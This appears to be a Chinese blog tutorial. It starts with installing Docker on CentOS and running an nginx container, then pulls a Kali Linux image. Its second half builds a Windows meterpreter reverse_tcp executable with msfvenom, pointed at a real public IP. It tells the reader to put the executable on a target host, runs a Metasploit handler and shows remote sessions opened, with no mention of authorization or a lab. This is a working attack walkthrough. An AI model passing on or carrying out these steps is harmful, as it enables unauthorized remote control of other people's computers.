千家信息网

docker使用教程

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,1. 购买一个外网的服务器,这里我使用的是centos2. 配置yum源wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-c
千家信息网最后更新 2025年01月20日docker使用教程

1. 购买一个外网的服务器,这里我使用的是centos

2. 配置yum源

wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repoyum clean all; yum makecache fast       --重新刷新yum源

3. 安装与启动docker

yum -y install docker-cesystemctl restart dockersystemctl enable docker     开机自启

4. 搜索与安装容器

4.1 以 nginx 为例
docker search nginx   搜索docker pull nginx     安装nginx
4.2 启动 nginx
docker run --name web1 -d -p 80:80 nginx--name :表示启动的名字-d: daemon,守护进程-p:设置映射端口验证页面,输入网址即可访问

对页面进行修改:

docker exec -it web1 /bin/bash    进入容器root@3e93e119b79c:/# cat /usr/share/nginx/html/ 50x.html    index.htmlroot@3e93e119b79c:/# echo "

test nginx page

" > /usr/share/nginx/html/index.html使用exit退出,这时刷新之前的网页,nginx的欢迎页面就变成上面修改的内容了。

5. 安装外网kali

先搜索

docker search kali

安装

docker pull booyaabes/kali-linux-full

使用

[root@vultr ~]# docker image lsREPOSITORY                  TAG                 IMAGE ID            CREATED         SIZEbooyaabes/kali-linux-full   latest              4bffca040c1c        6 hours ago         8.31GBnginx                                 latest              bc26f1ed35cf        16 hours ago        109MB[root@vultr ~]# docker run -it 4bffca040c1croot@c5785446988a:/# cat /etc/os-release PRETTY_NAME="Kali GNU/Linux Rolling"NAME="Kali GNU/Linux"ID=kaliVERSION="2018.4"VERSION_ID="2018.4"ID_LIKE=debianANSI_COLOR="1;31"HOME_URL="https://www.kali.org/"SUPPORT_URL="https://forums.kali.org/"BUG_REPORT_URL="https://bugs.kali.org/"

直接使用即可。
如果需要监听端口,实现连接反弹shell

docker run -p 4444:4455 -it booyaabes/kali-linux-full

使用docker映射容器4455端口到local上的4444端口

[root@vultr ~]# docker container lsCONTAINER ID        IMAGE                       COMMAND                   CREATED             STATUS              PORTS                    NAMES8612e672d5db        booyaabes/kali-linux-full   "/bin/sh -c \"/bin/ba…"   2 minutes ago       Up 2 minutes        0.0.0.0:4444->4455/tcp   hungry_goldberg[root@vultr ~]# docker attach 8612e672d5db   进入kali容器之中

制作payload(使用本地的kali制作payload)

root@kal:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=149.248.8.210 LPORT=4444 -f exe > test.exeNo platform was selected, choosing Msf::Module::Platform::Windows from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 341 bytesFinal size of exe file: 73802 bytes

将exe文件放到目标主机上
在kali容器中运行msf

[root@vultr ~]# docker attach 9b2fcb0c1d21root@9b2fcb0c1d21:/# msfconsole          ,           ,        /             \     ((__---,,,---__))            (_) O O (_)_________                 \ _ /            |\                    o_o \   M S F   | \                             \   _____  |  *                                |||   WW|||                                |||     |||             =[ metasploit v4.17.14-dev                         ]+ -- --=[ 1809 exploits - 1030 auxiliary - 313 post       ]+ -- --=[ 539 payloads - 42 encoders - 10 nops            ]+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lhost 149.248.8.210lhost => 149.248.8.210msf exploit(multi/handler) > set lport 4455port => 4455msf exploit(multi/handler) > run [-] Handler failed to bind to 149.248.8.210:4455:-  -[*] Started reverse TCP handler on 0.0.0.0:4455 [*] Sending stage (179779 bytes) to 42.90.91.248[*] Meterpreter session 1 opened (172.17.0.3:4455 -> 42.90.91.248:11526) at 2018-09-26 09:39:23 +0000[*] Sending stage (179779 bytes) to 42.90.91.248[*] Meterpreter session 2 opened (172.17.0.3:4455 -> 42.90.91.248:11528) at 2018-09-26 09:39:25 +0000meterpreter > 

这样就拿到了反弹shell

docker借鉴学习:https://yeasy.gitbooks.io/docker_practice/image/

0